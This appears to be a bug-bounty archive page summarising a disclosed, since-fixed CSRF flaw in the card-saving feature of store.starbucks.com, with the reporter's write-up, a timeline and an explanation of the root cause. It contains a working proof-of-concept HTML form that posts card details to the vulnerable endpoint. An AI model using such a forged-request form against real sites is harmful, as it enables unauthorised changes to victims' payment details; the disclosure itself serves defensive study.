CSRF vulnerability in saving payment card on store.starbucks.com (COBilling -AddCreditCard)
The report describes a CSRF vulnerability in the card-saving feature of store.starbucks.com, allowing an attacker to trick a logged-in user into saving an attacker-controlled payment card. This could lead to unauthorised charges or financial loss for the victim.
- Triaged in 16 days
- Fixed in 6 months
- Paid in 23 days
- Disclosed after 7 months
Hi,
I noticed a CSRF issue that associated with card saving. It is possible for to save card details and can be used for quick payments while purchasing. The result will be a remote attacker can trick users to use some other cards that may silently led to loss of money in which actully it is not for online shopping purpose cards. Mainly this may allow an attacker to change the card details of the online purchasing card of the victim to some important cards good scenario will be the attacker can make trick on family members itself.
<html>
<body>
<form action="https://store.starbucks.com/on/demandware.store/Sites-Starbucks-Site/default/COBilling-AddCreditCard" method="POST">
<input type="hidden" name="dwfrm_billing_paymentMethods_creditCard_type" value="Visa" />
<input type="hidden" name="dwfrm_billing_paymentMethods_creditCard_owner" value="helloworld" />
<input type="hidden" name="dwfrm_billing_paymentMethods_creditCard_number" value="███████" />
<input type="hidden" name="dwfrm_billing_paymentMethods_creditCard_month" value="10" />
<input type="hidden" name="dwfrm_billing_paymentMethods_creditCard_year" value="2,019" />
<input type="hidden" name="dwfrm_billing_paymentMethods_creditCard_saveCard" value="true" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Critical level goes from Low to medium depending on the nature of the attacker to perform this attack.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application does not use anti-CSRF tokens or other protections to verify that the card-saving request originated from the legitimate site.
Impact
An attacker could trick a victim into saving other cards, potentially leading to loss of money.
What the attacker needed
Victim is logged in; victim visits attacker's page
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CSRF (Cross-Site Request Forgery) is when a malicious website makes a logged-in user's browser send a request to another site without the user's knowledge. Here, an attacker could make a victim's browser save a card that the attacker controls, so later purchases might charge that card or confuse the victim.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.